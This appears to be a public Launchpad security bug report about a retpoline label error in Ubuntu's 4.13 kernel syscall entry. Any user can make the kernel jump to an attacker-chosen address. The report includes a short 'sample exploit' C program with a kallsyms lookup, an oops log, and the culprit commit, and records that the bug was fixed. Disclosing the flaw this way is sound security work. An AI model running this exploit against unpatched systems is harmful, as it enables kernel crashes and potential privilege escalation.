panic or arbitrary jump due to coding error in retpoline for system call entry

Bug #1745290 reported by Jay Vosburgh
268
This bug affects 2 people
Affects Status Importance Assigned to Milestone
linux (Ubuntu)
Invalid
Undecided
Unassigned
Xenial
Invalid
Undecided
Unassigned
Artful
Fix Released
Undecided
Unassigned
linux-azure (Ubuntu)
Invalid
Undecided
Unassigned
Xenial
Fix Released
Undecided
Unassigned
Artful
Invalid
Undecided
Unassigned
linux-gcp (Ubuntu)
Invalid
Undecided
Unassigned
Xenial
Fix Released
Undecided
Unassigned
Artful
Invalid
Undecided
Unassigned
linux-hwe (Ubuntu)
Invalid
Undecided
Unassigned
Xenial
Fix Released
Undecided
Unassigned
Artful
Invalid
Undecided
Unassigned
linux-oem (Ubuntu)
Invalid
Undecided
Unassigned
Xenial
Fix Released
Undecided
Unassigned
Artful
Invalid
Undecided
Unassigned

Bug Description

Calling an invalid system call number panics the system (or potentially calls anywhere in kernel memory)

In the system call entry, there's an andl, cmpl sequence to test the system call number in %rax/%eax for validity. If that fails, it will "ja 1f", which is the entry into the retpoline logic. That logic will eventually "retpoline" jump to what's in %r10 prior to this code fragment. The value in %r10 is the 4th system call argument passed directly in from user space, e.g.,

rv = syscall(0x270f, 0x1111, 0x2222, 0x3333, 0x4444);

so the kernel will attempt to jump to whatever is in the "0x4444" position above. The above call results in a panic and:

[ 102.983486] BUG: unable to handle kernel paging request at 0000000000004444
[...]
[ 103.165771] Code: Bad RIP value.
[ 103.169205] RIP: 0x4444 RSP: ffffac8780be3f50

The issue appears in the artful (4.13) and derivative kernels, because there is a coding error in the assembly language arch/x86/entry/entry_64.S:

entry_SYSCALL_64_fastpath:
        /*
         * Easy case: enable interrupts and issue the syscall. If the syscall
         * needs pt_regs, we'll call a stub that disables interrupts again
         * and jumps to the slow path.
         */
        TRACE_IRQS_ON
        ENABLE_INTERRUPTS(CLBR_NONE)
#if __SYSCALL_MASK == ~0
        cmpq $__NR_syscall_max, %rax
#else
        andl $__SYSCALL_MASK, %eax
        cmpl $__NR_syscall_max, %eax
#endif
        ja 1f /* return -ENOSYS (already in pt
_regs->ax) */
        movq %r10, %rcx

        /*
         * This call instruction is handled specially in stub_ptregs_64.
         * It might end up jumping to the slow path. If it jumps, RAX
         * and all argument registers are clobbered.
         */
        movq sys_call_table(, %rax, 8), %r10
        jmp 1f
4: callq 2f
3: nop
        jmp 3b
2: mov %r10, (%rsp)
        retq
1: callq 4b

.Lentry_SYSCALL_64_after_fastpath_call:

        movq %rax, RAX(%rsp)
1:

Note the "ja 1f"; it's meant to jump to the later "1:" label, but disassembly of the compiled object shows that it goes to the "1: callq 4b" instead (the retpoline logic). The xenial code for this section looks like:

        jmp 1001f
1004: callq 1002f
1003: nop
        jmp 1003b
1002: mov %r10, (%rsp)
        retq
1001: callq 1004b

and is not subject to the panic.

Changed in linux (Ubuntu):
status: New → Invalid
Changed in linux (Ubuntu Xenial):
status: New → Invalid
Changed in linux-azure (Ubuntu Artful):
status: New → Invalid
Changed in linux-azure (Ubuntu):
status: New → Invalid
Changed in linux-gcp (Ubuntu):
status: New → Invalid
Changed in linux-gcp (Ubuntu Artful):
status: New → Invalid
Changed in linux-oem (Ubuntu):
status: New → Invalid
Changed in linux-oem (Ubuntu Artful):
status: New → Invalid
Changed in linux-hwe (Ubuntu):
status: New → Invalid
Changed in linux-hwe (Ubuntu Artful):
status: New → Invalid
Revision history for this message
Jay Vosburgh (jvosburgh) wrote :

Sample exploit:

# grep tun_sendmsg /proc/kallsyms
ffffffff8389c1f0 t tun_sendmsg

Then compile:

#include <unistd.h>

int
main(int argc, char **argv)
{
        return syscall(0x2000, 0x11111, 0x22222, 0x3333, 0xffffffff8389c1f0);
}

and run as any user, resulting in:

[ 248.625393] Oops: 0000 [#2] SMP PTI
[ 248.625395] Modules linked in: snd_hda_codec_generic snd_hda_intel snd_hda_codec snd_hda_core snd_hwdep snd_pcm crct10dif_pclmul snd_seq_midi crc32_pclmul ghash_clmulni_intel snd_seq_midi_event pcbc snd_rawmidi aesni_intel snd_seq aes_x86_64 crypto_simd snd_seq_device glue_helper cryptd snd_timer snd soundcore joydev input_leds serio_raw i2c_piix4 mac_hid parport_pc ppdev lp parport ip_tables x_tables autofs4 vmwgfx ttm drm_kms_helper syscopyarea sysfillrect sysimgblt fb_sys_fops drm psmouse virtio_blk virtio_net pata_acpi floppy
[ 248.625415] CPU: 0 PID: 6631 Comm: doom Tainted: G D 4.13.0-31-generic #34
[ 248.625415] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[ 248.625416] task: ffff919b38460000 task.stack: ffffb7b846244000
[ 248.625417] RIP: 0010:tun_sendmsg+0xf/0x70
[ 248.625418] RSP: 0018:ffffb7b846247f40 EFLAGS: 00010216
[ 248.625419] RAX: 00000000ffffffb3 RBX: 0000000000000000 RCX: 00007f02852139f9
[ 248.625420] RDX: 0000000000003333 RSI: 0000000000022222 RDI: 0000000000011111
[ 248.625421] RBP: ffffb7b846247f48 R08: 00007f02854f5e70 R09: 00007ffc2e148008
[ 248.625421] R10: ffffffff8389c1f0 R11: ffff919b38460000 R12: 0000000000000000
[ 248.625422] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
[ 248.625423] FS: 00007f02856f2740(0000) GS:ffff919b3fc00000(0000) knlGS:0000000000000000
[ 248.625424] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 248.625424] CR2: 0000000000011189 CR3: 0000000078692004 CR4: 00000000001606f0
[ 248.625427] Call Trace:
[ 248.625431] entry_SYSCALL_64_fastpath+0x33/0xa3
[ 248.625432] RIP: 0033:0x7f02852139f9
[ 248.625433] RSP: 002b:00007ffc2e147f08 EFLAGS: 00000202 ORIG_RAX: 0000000000002000
[ 248.625434] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f02852139f9
[ 248.625435] RDX: 0000000000003333 RSI: 0000000000022222 RDI: 0000000000011111
[ 248.625435] RBP: 00007ffc2e147f20 R08: 00007f02854f5e70 R09: 00007ffc2e148008
[ 248.625436] R10: ffffffff8389c1f0 R11: 0000000000000202 R12: 000055b593a59540
[ 248.625437] R13: 00007ffc2e148000 R14: 0000000000000000 R15: 0000000000000000
[ 248.625438] ? tun_get_user+0xa20/0xa20
[ 248.625439] Code: 07 74 04 48 89 42 08 83 83 d8 28 00 00 01 e9 01 fe ff ff 66 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 b8 b3 ff ff ff 48 89 e5 53 <48> 8b 5f 78 48 85 db 74 52 48 89 f2 48 8d b7 38 fd ff ff 48 89
[ 248.625453] RIP: tun_sendmsg+0xf/0x70 RSP: ffffb7b846247f40
[ 248.625454] CR2: 0000000000011189
[ 248.625456] ---[ end trace 43feb0d35f497dae ]---

Revision history for this message
Jay Vosburgh (jvosburgh) wrote :

Bug came from the following commit, looks to be introduced at 4.13.0-27:

commit d2e0236f395e876f5303fb5021e4fe6eea881402
Author: Tim Chen <email address hidden>
Date: Wed Nov 8 16:30:06 2017 -0800

    x86/entry: Use retpoline for syscall's indirect calls

$ git describe --contains d2e0236f395e876f5303fb5021e4fe6eea881402
Ubuntu-4.13.0-27.30~42

Revision history for this message
Jay Vosburgh (jvosburgh) wrote :

Patch to resolve issue by fixing assembler labels.

Revision history for this message
Steve Beattie (sbeattie) wrote :

This was addressed in https://usn.ubuntu.com/usn/usn-3548-1/ in Ubuntu 17.10 for the linux kernel, and in https://usn.ubuntu.com/usn/usn-3548-2/ for the linux-hwe and other backport kernels. Closing.

information type: Private Security → Public Security
Changed in linux (Ubuntu Artful):
status: New → Fix Released
Changed in linux-azure (Ubuntu Xenial):
status: New → Fix Released
Changed in linux-gcp (Ubuntu Xenial):
status: New → Fix Released
Steve Beattie (sbeattie)
Changed in linux-hwe (Ubuntu Xenial):
status: New → Fix Released
Changed in linux-oem (Ubuntu Xenial):
status: New → Fix Released
To post a comment you must log in.
This report contains Public Security information  
Everyone can see this security related information.

Duplicates of this bug

Other bug subscribers

Remote bug watches

Bug watches keep track of this bug in other bug trackers.